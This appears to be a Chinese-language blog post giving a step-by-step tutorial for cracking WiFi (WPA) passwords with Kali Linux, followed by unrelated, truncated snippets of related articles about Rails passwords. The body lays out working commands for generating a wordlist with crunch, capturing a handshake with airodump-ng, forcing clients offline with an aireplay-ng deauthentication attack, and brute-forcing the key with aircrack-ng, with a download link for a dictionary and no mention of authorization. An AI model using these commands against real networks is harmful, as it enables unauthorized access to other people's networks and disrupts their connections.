草庐IT

WiFi密码破解

.知心. 2023-05-14 原文

实验环境

VMware虚拟机

kali linux系统

准备材料

支持监听的无线网卡

弱口令字典

注意:如果没有字典可以在https://weakpass.com/generate此网站生成弱口令字典

或者在kali上生成字典,命令为:

crunch 8 8 12345678 -o /root/crunch.txt

 参数介绍:

使用crunch工具生成一个最小长度为8,最大长度为8的密码字典文件,生成内容为12345678,-o是保存到/root/crunch.txt文件

这里是我生成好的密码字典

链接:https://pan.baidu.com/s/1ZnNAWbN_OXVAL34_LHhX1w 
提取码:7uca 

                    下面进入正题

一、查看网卡信息

ifconfig   查看网卡名称

 有的网卡可能是wlan0,那么后面就用wlan0就行

二、激活网卡

ifconfig wlan0mon up     激活网卡

 命令执行完后,没有什么提示,代表网卡激活成功

三、结束干扰进程

airmon-ng check kill    结束干扰进程

 

 执行完命令后没有显示什么,就可以继续进行下一步操作,如果有显示的话也继续进行下一步操作不影响继续

四、开启网卡监听状态

airmon-ng start wlan0mon

 

 此时我们下面的操作都需要用这个网卡名称来执行命令

五、开始进行监听

airodump-ng wlan0mon   开始监听

 开启监听后,网卡将会自动扫描附近的WiFi,如果在扫描过程中看到自己想破解的WiFi后,按住Ctrl+c键,停止扫描

参数介绍:

BSSID:表示无线AP的Mac地址
PWR:网卡报告的信号水平
CH:信道号
MB:无线AP所支持的最大速率
ESSID:局域网名称
STATION:客户端的Mac地址,包括连上的和想要搜索无线来连接的客户端
Rate:表示传输率

六、抓取握手包

airodump-ng -w kali -c 13 --bssid 66:75:95:5E:6F:F9 wlan0mon

 

 -w kali:是创建握手包名称

-c 13:是CH信道号

--bssid 66:75:95:5E:6F:F9:想要破解的WiFi  Mac地址

wlan0mon:网卡名称

 kali-01.cap:这个代表我们抓到的握手包名称,大部分都在/root/目录下,最后一步时需要

 当出现WPA handshake:66:75:95:5E:6F:F9此符号时,代表我们已经抓包成功了,也有可能没有此符号,但是不要担心,进行下一步操作即可

七、让连接WiFi的用户断开连接,进行抓取握手包

当用户再次连接WiFi时,就可以抓取到握手包了,注意:原终端不要关闭,再次开启一个终端,为了查看有没有出现第六步的符号,如果出现说明握手包抓取成功,抓到握手包后继续进行下部操作

 aireplay-ng -0 10 -a 66:75:95:5E:6F:F9 -c B6:96:8B:39:A6:E5 wlan0mon

参数介绍:

-0:攻击次数

-a:BSSID

-c:STATON连接的设备

 此时我们已经抓包成功,进行密码暴力破解

八、用字典暴力破解WiFi密码握手包

aircrack-ng -w /root/crunch.txt -b 66:75:95:5E:6F:F9 /root/kali-01.cap

这里需要写字典和握手包的绝对路径

-w:是字典的路径

-b:BSSID

/root/kali-01.cap:是握手包的路径

注意:字典越大暴力破解速度越慢,如果以上操作都正确,还没有密码出现代表字典里面没有WiFi的正确密码,需要更换字典

 到这里就结束了,以上内容仅用于参考

 

有关WiFi密码破解的更多相关文章

  1. ruby-on-rails - 在 Rails 中自定义 "Password confirmation doesn' t 匹配密码 - 2

    有没有办法在Rails中为确认字段自定义消息?例如在设计中我必须输入密码和password_confirmation并且错误消息是:Passwordconfirmationdoesn'tmatchPassword我可以更改事件记录语言环境消息(“不匹配”),但它会在该语言环境消息的开头和结尾输出密码确认和密码,所以我得到如下内容:"PasswordconfirmationmustmatchPassword"有没有办法将其更改为不同的字符串?PasswordconfirmationandPasswordmustmatch.编辑另一件事是拥有完全自定义的消息,例如:'Setpassword

  2. ruby-on-rails - 我如何比较 'Bcrypt' Gem解密的密码和加密的密码 - 2

    我正在尝试对某些帖子的评论使用简单的身份验证。用户使用即时ID和密码输入评论我使用“bcrypt”gem将密码存储在数据库中。在comments_controller.rb中像这样@comment=Comment.new(comment_params)bcrypted_pwd=BCrypt::Password.create(@comment.user_pwd)@comment.user_pwd=bcrypted_pwd当用户想要删除他们的评论时,我使用data-confirm-modalgem来确认数据在这部分,我必须解密用户输入的密码以与数据库中的加密密码进行比较我怎样才能解密密码,

  3. ruby-on-rails - 如何在记录更新期间从验证中排除密码字段? ( rails 3.0.4, ruby 1.9.2) - 2

    我有一个允许更新用户记录的表单。它包含:password和:password_confirmation字段,但我不希望在数据库中已存储加密密码时对它们运行验证。View文件中的字段:'ConfirmPassword'%>在互联网上搜索时,我发现了这段代码,我认为它是针对以前版本的Ruby/Rails的。(我会把它放在我的用户模型中。)validates_presence_of:password,:on=>create由于我的用户模型中密码验证的语法不同(如下),我对我需要的语法感到困惑。validates:password,:presence=>true,:confirmation=>

  4. ruby-on-rails - Devise 在更改密码后注销用户 - 2

    我正在使用devise,当用户更改密码时,网站会将他们注销。我在网上读到,添加sign_in可以解决问题但不起作用,并且当密码更改时用户会注销。这是我的代码if@user.errors[:base].empty?and@user.update_attributes(params[:user])sign_in(current_user,:bypass=>true)flash[:success]="Useraccounthasbeensuccessfullyupdated"redirect_toedit_user_path(params[:site_id],@user)elserender

  5. ruby - 存储外部 API 的密码 - 最佳实践 - 2

    如果我构建了一个应用程序来访问来自Gmail、Twitter和Facebook的一些数据,并且我希望用户只需输入一次他们的身份验证信息,并且在几天或几周后重置,那会怎样是在Ruby中动态执行此操作的最佳方法吗?我看到很多人只是拥有他们客户/用户凭证的配置文件,如下所示:gmail_account:username:myClientpassword:myClientsPassword这看起来a)非常不安全,b)如果我想为成千上万的用户存储此类信息,它就无法工作。推荐的方法是什么?我希望能够在这些服务之上构建一个界面,因此每次用户进行交易时都必须输入凭据是不可行的。

  6. ruby-on-rails - 最灵活的 Rails 密码安全实现 - 2

    关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。要求我们推荐或查找工具、库或最喜欢的场外资源的问题对于StackOverflow来说是偏离主题的,因为它们往往会吸引自以为是的答案和垃圾邮件。相反,describetheproblem以及迄今为止为解决该问题所做的工作。关闭8年前。Improvethisquestion我需要实现具有各种灵活需求的密码安全。这些要求基本上取自Sanspasswordpolicy:Strongpasswordshavethefollowingcharacteristics:Containatleastthreeofthe

  7. ruby - Net::SSH sudo 命令在输入密码后挂起 - 2

    我一直在尝试使用Thor编写一个小型库,以帮助我快速创建新项目和站点。我写了这个小方法:defssh(cmd)Net::SSH.start(server_ip,user,:port=>port)do|session|session.execcmdendend只是协助我在需要时在远程服务器上运行快速命令。问题是当我需要在远程端的sudo下运行命令时,脚本似乎卡在我身上。例如当执行这个...ssh("sudocp#{file_from_path}#{file_to_path}")脚本会提示我输入密码[sudo]passwordforuser:但是在输入之后整个事情就挂起。有人会碰巧知道它为

  8. ruby - 如何在没有用户名和密码的情况下访问代理? - 2

    我想使用nokogiri和mechanize自动化一个计时网络客户端。我需要通过代理服务器连接,但问题是,我不知道所述代理服务器的用户名和密码。我想获取存储在计算机上的此代理的缓存凭据..例如,在c#中你可以使用:stringproxyUri=proxy.GetProxy(requests.RequestUri).ToString();requests.UseDefaultCredentials=true;requests.Proxy=newWebProxy(proxyUri,false);requests.Proxy.Credentials=System.Net.Credential

  9. ruby-on-rails - 在 Ruby on Rails 中验证 Django 密码给出不匹配的密码 - 2

    我正在用RubyonRails重写Django应用程序,并希望为用户保留旧密码。Django使用PBKDF2SHA1作为加密机制。所以我有一个加密密码是这个pbkdf2_sha256$10000$YsnGfP4rZ1IZ$Tpf4922MoNEjuJQA9EG2Elptyt3dMAyzBPUgmunFOW4=原密码是2bulls在Ruby中,我使用PBKDF256gem和base64进行检查。Base64.encode64PBKDF256.dk("2bulls","YsnGfP4rZ1IZ",10000,32)我很期待Tpf4922MoNEjuJQA9EG2Elptyt3dMAyzBP

  10. ruby - 为什么 rvm install 2.0.0 要求输入 sudo 密码? - 2

    我正在尝试通过rvm安装ruby​​2.0.0-p247。但是,它要求输入密码。提供sudo密码正常吗?我没有在sudoers文件中配置sudo密码。我正在使用OracleEnterpriseLinux6x64。 最佳答案 sudo用于autolibs-这意味着RVM将安装所需的软件,如openssh或libyaml,这是标准ruby​​正常工作所必需的。您可以更改autolibs以查看所需的包而不是安装它们:rvmautolibsread-fail并恢复到安装要求的默认设置:rvmautolibsreset

随机推荐